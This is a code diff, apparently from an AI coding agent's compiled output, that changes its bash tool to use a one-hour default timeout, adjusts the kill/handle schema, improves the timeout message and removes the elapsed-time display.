timeout in seconds; the default is ${DEFAULT_BASH_TIMEOUT_SECONDS}.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t\t\tconst command = !parsed.ok\n\t\t\t\t\t\t? \"(rejected shell call)\"\n\t\t\t\t\t\t: parsed.operation.kind === \"run\"\n\t\t\t\t\t\t\t? parsed.operation.command\n\t\t\t\t\t\t\t: (registry.commandFor(parsed.operation.handle) ?? parsed.operation.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tconst parsed = parseShellOperation(input);\n\t\t\tif (!parsed.ok) throw new ToolExecutionError(parsed.reason, undefined);\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn await executeHandleCall(parsed.operation);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = parsed.operation;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\t// The default belongs to the tool, not to one backend. Resolved here, every\n\t\t\t\t\t\t// backend gets the effective value; resolved inside the local one, a custom\n\t\t\t\t\t\t// backend silently had no default at all.\n\t\t\t\t\t\ttimeout: timeout ?? DEFAULT_BASH_TIMEOUT_SECONDS,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tconst status = `Command timed out after ${timeoutSecs} seconds. Pass a larger timeout, or run it with background: true and retrieve the output by handle.`;\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, status), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(component, result as any, options, context.showImages);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
@@ -4,7 +4,7 @@ import { Container, Text, truncateToWidth } from "@earendil-works/pi-tui";
4
4
  import { ToolExecutionError } from "apex-code-agent-core";
5
5
  import { spawn } from "child_process";
6
6
  import { Type } from "typebox";
7
- import { keyHint } from "../../modes/interactive/components/keybinding-hints.js";
7
+ import { formatHiddenLines, previewLineCount } from "../../modes/interactive/components/keybinding-hints.js";
8
8
  import { truncateToVisualLines } from "../../modes/interactive/components/visual-truncate.js";
9
9
  import { theme } from "../../modes/interactive/theme/theme.js";
10
10
  import { waitForChildProcess } from "../../utils/child-process.js";
@@ -21,9 +21,16 @@ import { wrapToolDefinition } from "./tool-definition-wrapper.js";
21
21
  import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize } from "./truncate.js";
22
22
  const MAX_TIMEOUT_MS = 2_147_483_647;
23
23
  const MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;
24
+ /**
25
+ * Applied when a call names no `timeout`. One hour, which is 2.16x the slowest full suite run
26
+ * recorded for this repository on the host ADR 0035 names. A default that merely cleared the
27
+ * measurement would kill a real build on a slower machine, and a killed build presents as a
28
+ * failing build rather than as a timeout, which is the expensive mistake.
29
+ */
30
+ export const DEFAULT_BASH_TIMEOUT_SECONDS = 3600;
24
31
  function resolveTimeoutMs(timeout) {
25
32
  if (timeout === undefined)
26
- return undefined;
33
+ return DEFAULT_BASH_TIMEOUT_SECONDS * 1000;
27
34
  if (!Number.isFinite(timeout) || timeout <= 0) {
28
35
  throw new Error("Invalid timeout: must be a finite number of seconds");
29
36
  }
@@ -35,22 +42,27 @@ function resolveTimeoutMs(timeout) {
35
42
  }
36
43
  const bashSchemaProperties = {
37
44
  command: Type.String({ description: "Shell command to execute" }),
38
- timeout: Type.Optional(Type.Number({ description: "Timeout in seconds (optional, no default timeout)" })),
45
+ timeout: Type.Optional(Type.Number({
46
+ description: `Timeout in seconds (default ${DEFAULT_BASH_TIMEOUT_SECONDS}; use background for longer work)`,
47
+ })),
39
48
  background: Type.Optional(Type.Boolean({
40
49
  description: "Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.",
41
50
  })),
42
51
  handle: Type.String({
43
52
  description: "Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.",
44
53
  }),
45
- kill: Type.Literal(true, { description: "Set to true with a background handle to terminate its command." }),
54
+ kill: Type.Boolean({
55
+ description: "Set to true only with a background handle to terminate its command; otherwise omit or use false.",
56
+ }),
46
57
  };
47
58
  const bashSchema = toolUnion([
48
59
  Type.Object({
49
60
  command: Type.String(),
50
61
  timeout: Type.Optional(Type.Number()),
51
62
  background: Type.Optional(Type.Boolean()),
63
+ kill: Type.Optional(Type.Literal(false)),
52
64
  }),
53
- Type.Object({ handle: Type.String() }),
65
+ Type.Object({ handle: Type.String(), kill: Type.Optional(Type.Literal(false)) }),
54
66
  Type.Object({ handle: Type.String(), kill: Type.Literal(true) }),
55
67
  ], bashSchemaProperties);
56
68
  export const bashToolSystemPromptContribution = {
@@ -214,14 +226,11 @@ export function createLocalShellOperations(shellName, resolveShellConfig) {
214
226
  killProcessTree(child.pid);
215
227
  };
216
228
  try {
217
- // Set timeout if provided.
218
- if (timeoutMs !== undefined) {
219
- timeoutHandle = setTimeout(() => {
220
- timedOut = true;
221
- if (child.pid)
222
- killProcessTree(child.pid);
223
- }, timeoutMs);
224
- }
229
+ timeoutHandle = setTimeout(() => {
230
+ timedOut = true;
231
+ if (child.pid)
232
+ killProcessTree(child.pid);
233
+ }, timeoutMs);
225
234
  // Stream stdout and stderr.
226
235
  child.stdout?.on("data", onData);
227
236
  child.stderr?.on("data", onData);
@@ -239,7 +248,7 @@ export function createLocalShellOperations(shellName, resolveShellConfig) {
239
248
  throw new Error("aborted");
240
249
  }
241
250
  if (timedOut) {
242
- throw new Error(`timeout:${timeout}`);
251
+ throw new Error(`timeout:${timeoutMs / 1000}`);
243
252
  }
244
253
  return {
245
254
  exitCode,
@@ -329,9 +338,6 @@ class BashResultRenderComponent extends Container {
329
338
  cachedSkipped: undefined,
330
339
  };
331
340
  }
332
- function formatDuration(ms) {
333
- return `${(ms / 1000).toFixed(1)}s`;
334
- }
335
341
  export function formatShellCall(args, prompt) {
336
342
  const invalid = () => theme.fg("toolTitle", theme.bold(`${prompt} ${invalidArgText(theme)}`));
337
343
  const command = str(args?.command);
@@ -356,7 +362,7 @@ export function formatShellCall(args, prompt) {
356
362
  const timeoutSuffix = parsed.operation.timeout ? theme.fg("muted", ` (timeout ${parsed.operation.timeout}s)`) : "";
357
363
  return theme.fg("toolTitle", theme.bold(`${prompt} ${parsed.operation.command}`)) + timeoutSuffix;
358
364
  }
359
- function rebuildBashResultRenderComponent(component, result, options, showImages, startedAt, endedAt) {
365
+ function rebuildBashResultRenderComponent(component, result, options, showImages) {
360
366
  const state = component.state;
361
367
  component.clear();
362
368
  let output = getTextOutput(result, showImages).trim();
@@ -380,14 +386,16 @@ function rebuildBashResultRenderComponent(component, result, options, showImages
380
386
  component.addChild({
381
387
  render: (width) => {
382
388
  if (state.cachedLines === undefined || state.cachedWidth !== width) {
383
- const preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);
389
+ let preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);
390
+ const shown = previewLineCount(preview.visualLines.length + preview.skippedCount, BASH_PREVIEW_LINES);
391
+ if (shown > preview.visualLines.length)
392
+ preview = truncateToVisualLines(styledOutput, shown, width);
384
393
  state.cachedLines = preview.visualLines;
385
394
  state.cachedSkipped = preview.skippedCount;
386
395
  state.cachedWidth = width;
387
396
  }
388
397
  if (state.cachedSkipped && state.cachedSkipped > 0) {
389
- const hint = theme.fg("muted", `... (${state.cachedSkipped} earlier lines,`) +
390
- ` ${keyHint("app.tools.expand", "to expand")}${theme.fg("muted", ")")}`;
398
+ const hint = formatHiddenLines(state.cachedSkipped, "earlier");
391
399
  return ["", truncateToWidth(hint, width, "..."), ...(state.cachedLines ?? [])];
392
400
  }
393
401
  return ["", ...(state.cachedLines ?? [])];
@@ -415,11 +423,6 @@ function rebuildBashResultRenderComponent(component, result, options, showImages
415
423
  }
416
424
  component.addChild(new Text(`\n${theme.fg("warning", `[${warnings.join(". ")}]`)}`, 0, 0));
417
425
  }
418
- if (startedAt !== undefined) {
419
- const label = options.isPartial ? "Elapsed" : "Took";
420
- const endTime = endedAt ?? Date.now();
421
- component.addChild(new Text(`\n${theme.fg("muted", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));
422
- }
423
426
  }
424
427
  export function createShellToolDefinition(cwd, config, options) {
425
428
  const ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });
@@ -472,7 +475,7 @@ export function createShellToolDefinition(cwd, config, options) {
472
475
  return {
473
476
  name: config.name,
474
477
  label: config.label,
475
- description: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,
478
+ description: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds; the default is ${DEFAULT_BASH_TIMEOUT_SECONDS}.`,
476
479
  promptSnippet: config.promptSnippet,
477
480
  promptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,
478
481
  parameters: bashSchema,
@@ -620,7 +623,10 @@ export function createShellToolDefinition(cwd, config, options) {
620
623
  const result = await ops.exec(spawnContext.command, spawnContext.cwd, {
621
624
  onData: handleData,
622
625
  signal,
623
- timeout,
626
+ // The default belongs to the tool, not to one backend. Resolved here, every
627
+ // backend gets the effective value; resolved inside the local one, a custom
628
+ // backend silently had no default at all.
629
+ timeout: timeout ?? DEFAULT_BASH_TIMEOUT_SECONDS,
624
630
  env: spawnContext.env,
625
631
  });
626
632
  exitCode = result.exitCode;
@@ -642,7 +648,8 @@ export function createShellToolDefinition(cwd, config, options) {
642
648
  }
643
649
  if (err instanceof Error && err.message.startsWith("timeout:")) {
644
650
  const timeoutSecs = err.message.split(":")[1];
645
- throw new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {
651
+ const status = `Command timed out after ${timeoutSecs} seconds. Pass a larger timeout, or run it with background: true and retrieve the output by handle.`;
652
+ throw new ToolExecutionError(appendStatus(text, status), {
646
653
  execution: interruptedExecution,
647
654
  });
648
655
  }
@@ -663,29 +670,13 @@ export function createShellToolDefinition(cwd, config, options) {
663
670
  }
664
671
  },
665
672
  renderCall(args, _theme, context) {
666
- const state = context.state;
667
- if (context.executionStarted && state.startedAt === undefined) {
668
- state.startedAt = Date.now();
669
- state.endedAt = undefined;
670
- }
671
673
  const text = context.lastComponent ?? new Text("", 0, 0);
672
674
  text.setText(formatShellCall(args, config.prompt));
673
675
  return text;
674
676
  },
675
677
  renderResult(result, options, _theme, context) {
676
- const state = context.state;
677
- if (state.startedAt !== undefined && options.isPartial && !state.interval) {
678
- state.interval = setInterval(() => context.invalidate(), 1000);
679
- }
680
- if (!options.isPartial || context.isError) {
681
- state.endedAt ??= Date.now();
682
- if (state.interval) {
683
- clearInterval(state.interval);
684
- state.interval = undefined;
685
- }
686
- }
687
678
  const component = context.lastComponent ?? new BashResultRenderComponent();
688
- rebuildBashResultRenderComponent(component, result, options, context.showImages, state.startedAt, state.endedAt);
679
+ rebuildBashResultRenderComponent(component, result, options, context.showImages);
689
680
  component.invalidate();
690
681
  return component;
691
682
  },